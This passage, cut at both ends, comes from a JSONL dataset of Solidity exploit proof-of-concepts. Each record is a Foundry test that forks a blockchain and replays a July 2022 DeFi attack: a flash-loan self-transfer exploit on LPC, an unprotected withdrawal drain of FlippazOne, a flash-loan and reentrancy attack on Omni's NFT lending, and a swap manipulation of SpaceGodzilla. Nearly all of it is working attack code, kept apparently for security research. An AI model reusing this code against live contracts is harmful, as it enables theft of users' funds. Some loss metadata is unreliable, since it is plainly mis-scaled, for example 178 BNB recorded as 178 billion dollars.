0xd9936EA91a461aA4B727a7e3661bcD6cD257481c;\naddress constant LPC = 0x1E813fA05739Bf145c1F182CB950dA7af046778d;\naddress constant pancakePair = 0x2ecD8Ce228D534D8740617673F31b7541f6A0099;\n\ncontract Exploit is Test {\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 19_852_596);\n cheat.label(LPC, \"LPC\");\n cheat.label(pancakePair, \"PancakeSwap LPC/USDT\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"LPC balance\", IERC20(LPC).balanceOf(address(this)), 18);\n\n console.log(\"Get LPC reserve in PancakeSwap...\");\n (uint256 LPC_reserve,,) = IPancakePair(pancakePair).getReserves();\n emit log_named_decimal_uint(\"\\tLPC Reserve\", LPC_reserve, 18);\n\n console.log(\"Flashloan all the LPC reserve...\");\n uint256 borrowAmount = LPC_reserve - 1; // -1 to avoid trigger INSUFFICIENT_LIQUIDITY\n bytes memory data = unicode\"\u26a1\ud83d\udcb0\";\n IPancakePair(pancakePair).swap(borrowAmount, 0, address(this), data);\n console.log(\"Flashloan ended\");\n\n emit log_named_decimal_uint(\"LPC balance\", IERC20(LPC).balanceOf(address(this)), 18);\n console.log(\"\\nNext transaction will swap LPC to USDT\");\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n console.log(\"\\tSuccessfully borrow LPC from PancakeSwap\");\n uint256 LPC_balance = IERC20(LPC).balanceOf(address(this));\n emit log_named_decimal_uint(\"\\tFlashloaned LPC\", LPC_balance, 18);\n\n console.log(\"\\tExploit...\");\n for (uint8 i; i < 10; ++i) {\n console.log(\"\\tSelf transfer... Loop %s\", i);\n IERC20(LPC).transfer(address(this), LPC_balance);\n }\n\n console.log(\"\\tPayback flashloan...\");\n uint256 paybackAmount = amount0 / 90 / 100 * 10_000; // paybackAmount * 90% = amount0 --> fee = 10%\n IERC20(LPC).transfer(pancakePair, paybackAmount);\n }\n}\n", "type": "exploit_poc", "protocol": "LPC", "date": "2022-07", "file_name": "LPC_exp.sol", "attack_vector": "flash_loan", "content_hash": "818af54b528b3b15", "collected_at": "2026-01-07T10:59:16.548977", "_source": "postmortems", "chain": "bsc", "block_number": 19852596, "total_lost_raw": "178 BNB (~ 45,715 US$)", "total_lost_usd": 178000000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "178 BNB (~ 45,715 US$)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"LPC balance\", IERC20(LPC).balanceOf(address(this)), 18);\n\n console.log(\"Get LPC reserve in PancakeSwap...\");\n (uint256 LPC_reserve,,) = IPancakePair(pancakePair).getReserves();\n emit log_named_decimal_uint(\"\\tLPC Reserve\", LPC_reserve, 18);\n\n console.log(\"Flashloan all the LPC reserve...\");\n uint256 borrowAmount = LPC_reserve - 1; // -1 to avoid trigger INSUFFICIENT_LIQUIDITY\n bytes memory data = unicode\"\u26a1\ud83d\udcb0\";\n IPancakePair(pancakePair).swap(borrowAmount, 0, address(this), data);\n console.log(\"Flashloan ended\");\n\n emit log_named_decimal_uint(\"LPC balance\", IERC20(LPC).balanceOf(address(this)), 18);\n console.log(\"\\nNext transaction will swap LPC to USDT\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "178 BNB (~ 45,715 US$)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$178000.00M", "content_richness_score": 6.36, "quality_estimate": "medium", "title": "LPC Exploit (2022-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Flippaz FlippazOne = Flippaz(0xE85A08Cf316F695eBE7c13736C8Cc38a7Cc3e944);\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 15_083_765); // fork mainnet at block 15083765\n }\n\n function testExploit() public {\n address alice = cheat.addr(1);\n emit log_named_uint(\"Before exploiting, ETH balance of FlippazOne Contract:\", address(FlippazOne).balance);\n cheat.prank(msg.sender);\n FlippazOne.bid{value: 2 ether}();\n emit log_named_uint(\"After bidding, ETH balance of FlippazOne Contract:\", address(FlippazOne).balance);\n\n //Attacker try to call ownerWithdrawAllTo() to drain all ETH from FlippazOne contract\n FlippazOne.ownerWithdrawAllTo(address(alice));\n emit log_named_uint(\"After exploiting, ETH balance of FlippazOne Contract:\", address(FlippazOne).balance);\n emit log_named_uint(\"ETH balance of attacker Alice:\", address(alice).balance);\n }\n}\n", "type": "exploit_poc", "protocol": "FlippazOne", "date": "2022-07", "file_name": "FlippazOne_exp.sol", "attack_vector": null, "content_hash": "d951b44da0018b67", "collected_at": "2026-01-07T10:59:16.549029", "_source": "postmortems", "chain": "unknown", "block_number": 15083765, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n address alice = cheat.addr(1);\n emit log_named_uint(\"Before exploiting, ETH balance of FlippazOne Contract:\", address(FlippazOne).balance);\n cheat.prank(msg.sender);\n FlippazOne.bid{value: 2 ether}();\n emit log_named_uint(\"After bidding, ETH balance of FlippazOne Contract:\", address(FlippazOne).balance);\n\n //Attacker try to call ownerWithdrawAllTo() to drain all ETH from FlippazOne contract\n FlippazOne.ownerWithdrawAllTo(address(alice));\n emit log_named_uint(\"After exploiting, ETH balance of FlippazOne Contract:\", address(FlippazOne).balance);\n emit log_named_uint(\"ETH balance of attacker Alice:\", address(alice).balance);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.59, "quality_estimate": "low", "title": "FlippazOne Exploit (2022-07)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Credit: SupremacyCA, the poc rewritten from SupremacyCA.\n\ncontract ContractTest is Test {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 doodle = IERC20(0x2F131C4DAd4Be81683ABb966b4DE05a549144443);\n IDOODLENFTXVault doodleVault = IDOODLENFTXVault(0x2F131C4DAd4Be81683ABb966b4DE05a549144443);\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC721 doodles = IERC721(0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e);\n ISushiSwap router = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);\n IOmni pool = IOmni(0xEBe72CDafEbc1abF26517dd64b28762DF77912a9);\n address private constant NToken = 0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n uint256 private nonce;\n address private immutable owner;\n address private _lib;\n bytes32 private constant RETURN_VALUE = keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not your biz!\");\n _;\n }\n\n constructor() {\n cheats.createSelectFork(\"mainnet\", 15_114_361); // fork mainnet at block 15114361\n owner = msg.sender; // Hacker\n }\n\n function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n emit log_named_uint(\"Before exploiting, ETH balance of attacker:\", address(this).balance);\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1000 ether;\n\n balancer.flashLoan(address(this), tokens, amounts, \"\");\n }\n\n function receiveFlashLoan(address[] memory, uint256[] memory, uint256[] memory, bytes memory) external {\n require(msg.sender == address(balancer), \"You are not a market maker for Flash Loan!\");\n doodle.approve(address(doodle), type(uint256).max);\n doodles.setApprovalForAll(address(doodle), true);\n doodleVault.flashLoan(address(this), address(doodle), 20 ether, \"\");\n }\n\n function onFlashLoan(address, address, uint256, uint256, bytes memory) external returns (bytes32) {\n require(msg.sender == address(doodle), \"You are not a market maker for Flash Loan!\");\n\n WETH.approve(address(router), type(uint256).max);\n\n address[] memory _path = new address[](2);\n _path[0] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH\n _path[1] = 0x2F131C4DAd4Be81683ABb966b4DE05a549144443; // DOODLE\n\n router.swapTokensForExactTokens(12e17, 200 ether, _path, address(this), block.timestamp);\n\n uint256[] memory _specificIds = new uint256[](20);\n _specificIds[0] = 4777;\n _specificIds[1] = 4784;\n _specificIds[2] = 2956;\n _specificIds[3] = 7806;\n _specificIds[4] = 4314;\n _specificIds[5] = 7894;\n _specificIds[6] = 9582;\n _specificIds[7] = 1603;\n _specificIds[8] = 4510;\n _specificIds[9] = 6932;\n _specificIds[10] = 1253;\n _specificIds[11] = 6760;\n _specificIds[12] = 9403;\n _specificIds[13] = 1067;\n _specificIds[14] = 179;\n _specificIds[15] = 4017;\n _specificIds[16] = 7165;\n _specificIds[17] = 720;\n _specificIds[18] = 5251;\n _specificIds[19] = 7425;\n\n doodleVault.redeem(20, _specificIds);\n\n require(doodles.balanceOf(address(this)) >= 20, \"redeem error.\");\n\n Lib lib = new Lib();\n\n _lib = address(lib);\n\n lib.approve();\n\n uint256 length = _specificIds.length;\n\n for (uint256 i = 0; i < length; i++) {\n doodles.transferFrom(address(this), address(_lib), _specificIds[i]);\n }\n\n lib.joker();\n\n uint256[] memory _amount = new uint256[](20);\n\n for (uint256 j = 0; j < _amount.length; j++) {\n _amount[j] = 0;\n }\n\n require(ILib(_lib).withdrawAll(), \"Withdraw Error.\");\n\n require(doodleVault.mint(_specificIds, _amount) == 20, \"Error Amounts.\");\n\n uint256 profit = getters();\n emit log_named_uint(\"After exploiting, ETH balance of attacker:\", address(this).balance);\n\n return RETURN_VALUE;\n }\n\n function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {\n if (msg.sender == NToken) {\n if (nonce == 21) {\n nonce++;\n WETH.approve(address(pool), type(uint256).max);\n pool.liquidationERC721(address(doodles), address(WETH), address(_lib), 7425, 100 ether, false);\n return this.onERC721Received.selector;\n } else if (nonce == 22) {\n uint256[] memory _specificIds = new uint256[](3);\n _specificIds[0] = 720;\n _specificIds[1] = 5251;\n _specificIds[2] = 7425;\n\n uint256 length = _specificIds.length;\n for (uint256 i = 0; i < length; i++) {\n doodles.safeTransferFrom(address(this), address(_lib), _specificIds[i]);\n }\n\n nonce = 1337;\n\n require(ILib(_lib).attack(), \"Attack Error!\");\n\n return this.onERC721Received.selector;\n } else {\n nonce++;\n return this.onERC721Received.selector;\n }\n } else {\n return this.onERC721Received.selector;\n }\n }\n\n function getters() internal returns (uint256) {\n uint256[] memory _specificIds = new uint256[](20);\n _specificIds[0] = 4777;\n _specificIds[1] = 4784;\n _specificIds[2] = 2956;\n _specificIds[3] = 7806;\n _specificIds[4] = 4314;\n _specificIds[5] = 7894;\n _specificIds[6] = 9582;\n _specificIds[7] = 1603;\n _specificIds[8] = 4510;\n _specificIds[9] = 6932;\n _specificIds[10] = 1253;\n _specificIds[11] = 6760;\n _specificIds[12] = 9403;\n _specificIds[13] = 1067;\n _specificIds[14] = 179;\n _specificIds[15] = 4017;\n _specificIds[16] = 7165;\n _specificIds[17] = 720;\n _specificIds[18] = 5251;\n _specificIds[19] = 7425;\n\n uint256[] memory _amounts = new uint256[](20);\n _amounts[0] = 0;\n _amounts[1] = 0;\n _amounts[2] = 0;\n _amounts[3] = 0;\n _amounts[4] = 0;\n _amounts[5] = 0;\n _amounts[6] = 0;\n _amounts[7] = 0;\n _amounts[8] = 0;\n _amounts[9] = 0;\n _amounts[10] = 0;\n _amounts[11] = 0;\n _amounts[12] = 0;\n _amounts[13] = 0;\n _amounts[14] = 0;\n _amounts[15] = 0;\n _amounts[16] = 0;\n _amounts[17] = 0;\n _amounts[18] = 0;\n _amounts[19] = 0;\n\n WETH.transfer(address(balancer), 1000 ether);\n\n uint256 balance = WETH.balanceOf(address(this));\n\n WETH.withdraw(balance);\n\n return address(this).balance;\n }\n\n receive() external payable {}\n}\n\ncontract Lib {\n address private immutable exp;\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 doodle = IERC20(0x2F131C4DAd4Be81683ABb966b4DE05a549144443);\n IERC721 doodles = IERC721(0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e);\n IOmni pool = IOmni(0xEBe72CDafEbc1abF26517dd64b28762DF77912a9);\n address private constant NToken = 0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e;\n\n modifier onlyExp() {\n require(msg.sender == exp, \"Not your biz!\");\n _;\n }\n\n constructor() {\n exp = msg.sender;\n }\n\n function approve() external onlyExp {\n doodles.setApprovalForAll(address(pool), true);\n WETH.approve(address(pool), type(uint256).max);\n }\n\n function joker() external onlyExp {\n DataTypes.ERC721SupplyParams[] memory _params = new DataTypes.ERC721SupplyParams[](3);\n\n _params[0].tokenId = 720;\n _params[0].useAsCollateral = true;\n\n _params[1].tokenId = 5251;\n _params[1].useAsCollateral = true;\n\n _params[2].tokenId = 7425;\n _params[2].useAsCollateral = true;\n\n pool.supplyERC721(address(doodles), _params, address(this), 0);\n\n (,, uint256 amount,,,,) = pool.getUserAccountData(address(this));\n\n pool.borrow(address(WETH), amount, 2, 0, address(this));\n\n uint256[] memory tokenIds = new uint256[](2);\n\n tokenIds[0] = 720;\n tokenIds[1] = 5251;\n\n require(pool.withdrawERC721(address(doodles), tokenIds, address(exp)) == 2, \"Withdraw Error.\");\n }\n\n function attack() external onlyExp returns (bool) {\n doodles.setApprovalForAll(address(pool), true);\n\n DataTypes.ERC721SupplyParams[] memory _params = new DataTypes.ERC721SupplyParams[](20);\n\n _params[0].tokenId = 4777;\n _params[0].useAsCollateral = true;\n\n _params[1].tokenId = 4784;\n _params[1].useAsCollateral = true;\n\n _params[2].tokenId = 2956;\n _params[2].useAsCollateral = true;\n\n _params[3].tokenId = 7806;\n _params[3].useAsCollateral = true;\n\n _params[4].tokenId = 4314;\n _params[4].useAsCollateral = true;\n\n _params[5].tokenId = 7894;\n _params[5].useAsCollateral = true;\n\n _params[6].tokenId = 9582;\n _params[6].useAsCollateral = true;\n\n _params[7].tokenId = 1603;\n _params[7].useAsCollateral = true;\n\n _params[8].tokenId = 4510;\n _params[8].useAsCollateral = true;\n\n _params[9].tokenId = 6932;\n _params[9].useAsCollateral = true;\n\n _params[10].tokenId = 1253;\n _params[10].useAsCollateral = true;\n\n _params[11].tokenId = 6760;\n _params[11].useAsCollateral = true;\n\n _params[12].tokenId = 9403;\n _params[12].useAsCollateral = true;\n\n _params[13].tokenId = 1067;\n _params[13].useAsCollateral = true;\n\n _params[14].tokenId = 179;\n _params[14].useAsCollateral = true;\n\n _params[15].tokenId = 4017;\n _params[15].useAsCollateral = true;\n\n _params[16].tokenId = 7165;\n _params[16].useAsCollateral = true;\n\n _params[17].tokenId = 720;\n _params[17].useAsCollateral = true;\n\n _params[18].tokenId = 5251;\n _params[18].useAsCollateral = true;\n\n _params[19].tokenId = 7425;\n _params[19].useAsCollateral = true;\n\n pool.supplyERC721(address(doodles), _params, address(this), 0);\n\n (,, uint256 amount,,,,) = pool.getUserAccountData(address(this));\n\n pool.borrow(address(WETH), amount, 2, 0, address(this));\n\n return true;\n }\n\n function withdrawAll() external onlyExp returns (bool) {\n uint256[] memory _specificIds = new uint256[](20);\n _specificIds[0] = 4777;\n _specificIds[1] = 4784;\n _specificIds[2] = 2956;\n _specificIds[3] = 7806;\n _specificIds[4] = 4314;\n _specificIds[5] = 7894;\n _specificIds[6] = 9582;\n _specificIds[7] = 1603;\n _specificIds[8] = 4510;\n _specificIds[9] = 6932;\n _specificIds[10] = 1253;\n _specificIds[11] = 6760;\n _specificIds[12] = 9403;\n _specificIds[13] = 1067;\n _specificIds[14] = 179;\n _specificIds[15] = 4017;\n _specificIds[16] = 7165;\n _specificIds[17] = 720;\n _specificIds[18] = 5251;\n _specificIds[19] = 7425;\n\n pool.withdrawERC721(address(doodles), _specificIds, address(exp));\n\n uint256 balance = WETH.balanceOf(address(this));\n\n WETH.transfer(address(exp), balance);\n\n return true;\n }\n\n function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "Omni", "date": "2022-07", "file_name": "Omni_exp.sol", "attack_vector": "flash_loan", "content_hash": "575523e5b082d7b7", "collected_at": "2026-01-07T10:59:16.549073", "_source": "postmortems", "chain": "unknown", "block_number": 15114361, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n emit log_named_uint(\"Before exploiting, ETH balance of attacker:\", address(this).balance);\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1000 ether;\n\n balancer.flashLoan(address(this), tokens, amounts, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Omni Exploit (2022-07)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/* @KeyInfo - Total Lost : 25,378 BUSD\n Attacker Wallet : https://bscscan.com/address/0x00a62eb08868ec6feb23465f61aa963b89e57e57\n Attack Contract : https://bscscan.com/address/0x3d817ea746edd02c088c4df47c0ece0bd28dcd72\n SpaceGodzilla : https://bscscan.com/address/0x2287c04a15bb11ad1358ba5702c1c95e2d13a5e0\n Attack Tx : https://bscscan.com/tx/0x7f183df11f1a0225b5eb5bb2296b5dc51c0f3570e8cc15f0754de8e6f8b4cca4*/\n\n/* @News\n BlockSec : https://mobile.twitter.com/BlockSecTeam/status/1547456591900749824\n PANews : https://www.panewslab.com/zh_hk/articledetails/u25j5p3kdvu9.html*/\n\n/* @Reports\n Numen Cyber Labs : https://medium.com/numen-cyber-labs/spacegodzilla-attack-event-analysis-d29a061b17e1\n Learnblockchain.cn Analysis : https://learnblockchain.cn/article/4396\n Learnblockchain.cn Analysis : https://learnblockchain.cn/article/4395*/\n\n/* We skipped the part where the attacker made a flashloan with 16 pools to get the initial capital\nHere are the pools that attacker borrowed:\naddress constant pool1 = 0x203e062964500808151E069Eda017097E510B710; // BUSD/GERA Pool\naddress constant pool2 = 0x535Ae122657E5F17FB03540A98BF9F494a06e2A4; // BUSD/BABBC Pool\naddress constant pool3 = 0xa91E7d767FFdbFF64a955f32E8E3F08AfaB3047b; // WBNB/Fei Pool\naddress constant pool4 = 0x0e15e47C3DE9CD92379703cf18251a2D13E155A7; // DBTC/USDT Pool\naddress constant pool5 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // TUF/USDT Pool\naddress constant pool6 = 0x8A1C25e382B80E7860DB1ae619E1Fc92a0cd7104; // FREY/USDT Pool\naddress constant pool7 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // Leek/USDT Pool\naddress constant pool8 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // CC/BUSD Pool\naddress constant pool9 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // ASET/USDT Pool\naddress constant pool10 = 0xb19265426ce5bC1E015C0c503dFe6EF7c407a406; // USX/BUSD Pool\naddress constant pool11 = 0xe3C58d202D4047Ba227e437b79871d51982deEb7; // BTCB/BUSD Pool DSPFlashLoanCall\naddress constant pool12 = 0x9BA8966B706c905E594AcbB946Ad5e29509f45EB; // ETH/BUSD Pool DPPFlashLoanCall\naddress constant pool13 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476; // WBNB/USDT Pool DPPFlashLoanCall\naddress constant pool14 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4; // WBNB/BUSD Pool DPPFlashLoanCall\naddress constant pool15 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // ANTEX/BUSD Pool\naddress constant pool16 = 0xD534fAE679f7F02364D177E9D44F1D15963c0Dd7; // DODO/WBNB Pool*/\n\ninterface ISpaceGodzilla {\n function swapAndLiquifyStepv1() external;\n function swapTokensForOther(\n uint256 tokenAmount\n ) external;\n}\n\ncontract AttackContract is Test {\n using stdStorage for StdStorage;\n\n CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address USDT = 0x55d398326f99059fF775485246999027B3197955;\n address CakeLP = 0x8AfF4e8d24F445Df313928839eC96c4A618a91C8; // SpaceGodzilla/USDT LP Pool\n address SpaceGodzilla = 0x2287C04a15bb11ad1358BA5702C1C95E2D13a5E0;\n\n constructor() {\n cheat.createSelectFork(\"bsc\", 19_523_980); // Fork BSC mainnet at block 19523981\n cheat.label(address(this), \"AttackContract\");\n cheat.label(USDT, \"USDT\");\n cheat.label(CakeLP, \"CakeLP\");\n cheat.label(SpaceGodzilla, \"SpaceGodzilla\");\n\n emit log_string(\"This reproduce shows how attacker exploit SpaceGodzilla, cause 25,378 BUSD lost\");\n emit log_string(\n \"[Note] We skipped the part where the attacker made a flash loan with 16 pools to get the initial capital\"\n );\n\n // Attacker flashloan 16 pools, to borrow 2.95 million USDT as initial capital\n stdstore.target(USDT).sig(IERC20(USDT).balanceOf.selector).with_key(address(this)).checked_write(\n 2_952_797_730_003_166_405_412_733\n );\n uint256 usdt_balance = IERC20(USDT).balanceOf(address(this));\n assert(usdt_balance == 2_952_797_730_003_166_405_412_733);\n }\n\n function testExploit() public {\n uint256 init_capital = IERC20(USDT).balanceOf(address(this));\n emit log_named_decimal_uint(\"[info] Attacker USDT Balance\", init_capital, 18);\n\n // ========================================================\n ISpaceGodzilla(SpaceGodzilla).swapTokensForOther(69_127_461_036_369_179_405_415_017_714);\n (uint256 r0, uint256 r1,) = Uni_Pair_V2(CakeLP).getReserves();\n assert(r0 == 76_041_697_635_825_849_047_705_725_848_735);\n assert(r1 == 90_478_604_689_102_338_898_952);\n // ========================================================\n uint256 usdt_balance = IERC20(USDT).balanceOf(address(this));\n uint256 trans_usdt_balance = usdt_balance - 100_000;\n bool suc = IERC20(USDT).transfer(CakeLP, trans_usdt_balance);\n require(suc, \"Transfer Failed\");\n // ========================================================\n uint256 amount0Out = r0 - (r0 * 30 / 1000);\n emit log_named_uint(\"First swap amount0Out\", amount0Out);\n Uni_Pair_V2(CakeLP).swap(amount0Out, 0, address(this), \"\"); // 73,775,430,786,944,730,258,898,675,433,018 \u53ef\u80fd\u6703\u8b8a\u52d5\uff0c\u56e0\u70ba\u4e0d\u77e5\u9053\u653b\u64ca\u8005\u600e\u9ebc\u7b973\uff05\u624b\u7e8c\u8cbb\n // ========================================================\n ISpaceGodzilla(SpaceGodzilla).swapAndLiquifyStepv1();\n // ========================================================\n uint256 SpaceGodzilla_balance = IERC20(SpaceGodzilla).balanceOf(address(this)); // 71,562,167,863,336,388,351,131,715,170,010 \u53ef\u80fd\u6703\u8b8a\u52d5\uff0c\u56e0\u70ba\u4e0d\u77e5\u9053\u653b\u64ca\u8005\u600e\u9ebc\u7b973\uff05\u624b\u7e8c\u8cbb\n emit log_named_uint(\"address(this) SpaceGodzilla_balance\", SpaceGodzilla_balance);\n // ========================================================\n (r0, r1,) = Uni_Pair_V2(CakeLP).getReserves(); // 2,288,901,594,081,170,758,102,038,305,061 3,073,671,601,005,728,817,436,539\n assert(r1 == 3_073_671_601_005_728_817_436_539);\n // ========================================================\n suc = IERC20(USDT).transfer(CakeLP, 20_000);\n require(suc, \"Transfer Failed\");\n // ========================================================\n suc = IERC20(SpaceGodzilla).transfer(CakeLP, SpaceGodzilla_balance); // Transfer \u6240\u6709 SpaceGodzilla \u7d66 LP\n require(suc, \"Transfer Failed\");\n // ========================================================\n uint256 LP_SpaceGodzilla_balance = IERC20(SpaceGodzilla).balanceOf(address(CakeLP));\n emit log_named_uint(\"address(CakeLP) SpaceGodzilla_balance\", LP_SpaceGodzilla_balance); // 73,851,069,457,417,559,109,233,753,475,071 \u53ef\u80fd\u6703\u8b8a\u52d5\uff0c\u56e0\u70ba\u4e0d\u77e5\u9053\u653b\u64ca\u8005\u600e\u9ebc\u7b973\uff05\u624b\u7e8c\u8cbb\n // ========================================================\n uint256 amount1Out = r1 - (r1 * 32 / 1000);\n emit log_named_uint(\"First swap amount1Out\", amount1Out); // 2,978,176,485,325,154,862,214,560\n Uni_Pair_V2(CakeLP).swap(0, amount1Out, address(this), \"\");\n\n // ========================================================\n usdt_balance = IERC20(USDT).balanceOf(address(this));\n emit log_named_decimal_uint(\"[info] Attacker Wallet USDT Balance\", usdt_balance, 18);\n\n require(usdt_balance > init_capital, \"Exploit Failed, attacker take losses\");\n uint256 profit = usdt_balance - init_capital;\n emit log_named_decimal_uint(\"[Profit] Attacker Wallet USDT Profit\", profit, 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SpaceGodzilla", "date": "2022-07", "file_name": "SpaceGodzilla_exp.sol", "attack_vector": "flash_loan", "content_hash": "ea602edc5bf4b7cd", "collected_at": "2026-01-07T10:59:16.549177", "_source": "postmortems", "chain": "bsc", "block_number": 19523980, "total_lost_raw": "25,378 BUSD", "total_lost_usd": 25.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0x3d817ea746edd02c088c4df47c0ece0bd28dcd72", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x7f183df11f1a0225b5eb5bb2296b5dc51c0f3570e8cc15f0754de8e6f8b4cca4*/", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "25,378 BUSD", "category": "flash-loan", "exploit_code": "function testExploit() public {\n uint256 init_capital = IERC20(USDT).balanceOf(address(this));\n emit log_named_decimal_uint(\"[info] Attacker USDT Balance\", init_capital, 18);\n\n // ========================================================\n ISpaceGodzilla(SpaceGodzilla).swapTokensForOther(69_127_461_036_369_179_405_415_017_714);\n (uint256 r0, uint256 r1,) = Uni_Pair_V2(CakeLP).getReserves();\n assert(r0 == 76_041_697_635_825_849_047_705_725_848_735);\n assert(r1 == 90_478_604_689_102_338_898_952);\n // ========================================================\n uint256 usdt_balance = IERC20(USDT).balanceOf(address(this));\n uint256 trans_usdt_balance = usdt_balance - 100_000;\n bool suc = IERC20(USDT).transfer(CakeLP, trans_usdt_balance);\n require(suc, \"Transfer Failed\");\n // ========================================================\n uint256 amount0Out = r0 - (r0 * 30 / 1000);\n emit log_named_uint(\"First swap amount0Out\", amount0Out);\n Uni_Pair_V2(CakeLP).swap(amount0Out, 0, address(this), \"\"); // 73,775,430,786,944,730,258,898,675,433,018 \u53ef\u80fd\u6703\u8b8a\u52d5\uff0c\u56e0\u70ba\u4e0d\u77e5\u9053\u653b\u64ca\u8005\u600e\u9ebc\u7b973\uff05\u624b\u7e8c\u8cbb\n // ========================================================\n ISpaceGodzilla(SpaceGodzilla).swapAndLiquifyStepv1();\n // ========================================================\n uint256 SpaceGodzilla_balance = IERC20(SpaceGodzilla).balanceOf(address(this)); // 71,562,167,863,336,388,351,131,715,170,010 \u53ef\u80fd\u6703\u8b8a\u52d5\uff0c\u56e0\u70ba\u4e0d\u77e5\u9053\u653b\u64ca\u8005\u600e\u9ebc\u7b973\uff05\u624b\u7e8c\u8cbb\n emit log_named_uint(\"address(this) SpaceGodzilla_balance\", SpaceGodzilla_balance);\n // ========================================================\n (r0, r1,) = Uni_Pair_V2(CakeLP).getReserves(); // 2,288,901,594,081,170,758,102,038,305,061 3,073,671,601,005,728,817,436,539\n assert(r1 == 3_073_671_601_005_728_817_436_539);\n // ========================================================\n suc = IERC20(USDT).transfer(CakeLP, 20_000);\n require(suc, \"Transfer Failed\");\n // ========================================================\n suc = IERC20(SpaceGodzilla).transfer(CakeLP, SpaceGodzilla_balance); // Transfer \u6240\u6709 SpaceGodzilla \u7d66 LP\n require(suc, \"Transfer Failed\");\n // ========================================================\n uint256 LP_SpaceGodzilla_balance = IERC20(SpaceGodzilla).balanceOf(address(CakeLP));\n emit log_named_uint(\"address(CakeLP) SpaceGodzilla_balance\", LP_SpaceGodzilla_balance); // 73,851,069,457,417,559,109,233,753,475,071 